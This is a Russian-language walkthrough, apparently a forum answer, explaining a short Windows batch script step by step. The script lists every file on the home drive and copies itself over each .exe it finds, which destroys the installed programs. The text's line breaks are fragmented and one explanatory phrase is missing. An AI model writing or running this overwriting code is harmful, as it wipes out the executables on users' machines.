@echo off
Отключает эхо пакетных команд.
Dir %Homedrive% /s /b > DirPath
Перечисляет все файлы и каталоги на вашем домашнем диске (обычно C:
:) , одну за строкой (ключ /b
), включая подкаталоги (ключ /s
), и сохраняет результат в файле DirPath
.
For /f %%Y In (DirPath) Do ( ... )
DirPath
и выполняет ...
для каждого элемента. %%Y
будет содержать первый элемент строки.
Set DirPath=%%Y > Nul
Сохраняет первый элемент строки в переменной DirPath
.
For %%Z In (%DirPath%\*.exe) Do ( ... )
Пересекает все файлы .exe
в каталоге, хранящемся в переменной DirPath
. %%Z
будет содержать имя исполняемого файла.
Set ExeInfect=%%Z > Nul
Сохраняет имя исполняемого файла в переменной ExeInfect
.
Copy /y %0 %ExeInfect%
Копирует без запроса (ключ /y
) текущий исполняемый файл (т. Е. Пакетный файл) поверх исполняемого файла, хранящегося в ExeInfect
.
В результате все исполняемые файлы заменяются командным файлом.
Ну, почти все. Первая команда For
будет вести себя некорректно, если имя каталога содержит пробелы ...